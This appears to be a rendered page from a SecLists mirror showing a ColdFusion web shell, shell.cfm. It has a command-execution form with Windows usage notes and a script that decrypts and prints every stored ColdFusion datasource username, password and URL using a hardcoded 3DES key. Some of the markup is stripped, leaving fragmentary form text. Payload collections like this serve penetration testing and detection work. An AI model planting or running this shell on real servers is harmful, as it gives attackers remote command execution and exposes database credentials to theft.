Back to Seclists

Shell.Cfm

Web-Shells/CFM/shell.cfm.html

2026.11.2 KB
Original Source

Notes:

  • For Windows put this as command "c:\windows\system32\cmd.exe /c" or wherever cmd.exe is
  • For Windows options are the command you want to run "dir" "type" etc

Your file has been uploaded.

| Command: | value="#form.cmd#">
| | Options: | value="#form.opts#">
| | Timeout: | value="#form.timeout#" value="5"> |

#HTMLCodeFormat(myVar)#

//The following code borrowed from hernanOchoa @hexale (thx) //added better formatting on output and connection string [lb] // Create Data Source Object dataSourceObb=createobject("java","coldfusion.server.ServiceFactory"). getDatasourceService().getDatasources(); writeoutput("

Datasource Credentials:
"); writeoutput("

"); // Loop Through DataSources for(i in dataSourceObb) { if(len(dataSourceObb[i]["password"])){ // Get url theurl=(dataSourceObb[i]["url"]); // Get username username=(dataSourceObb[i]["username"]); // Get and decrypt password decryptPassword=Decrypt(dataSourceObb[i]["password"], generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede", "Base64"); // Output datasource usernames, passwords, and urls writeoutput("" & "| DataSource: " & i & " |" & " Username: " & username & " |" & " Password: " & decryptPassword & " | URL: " & theurl & " | "); } } writeoutput("

");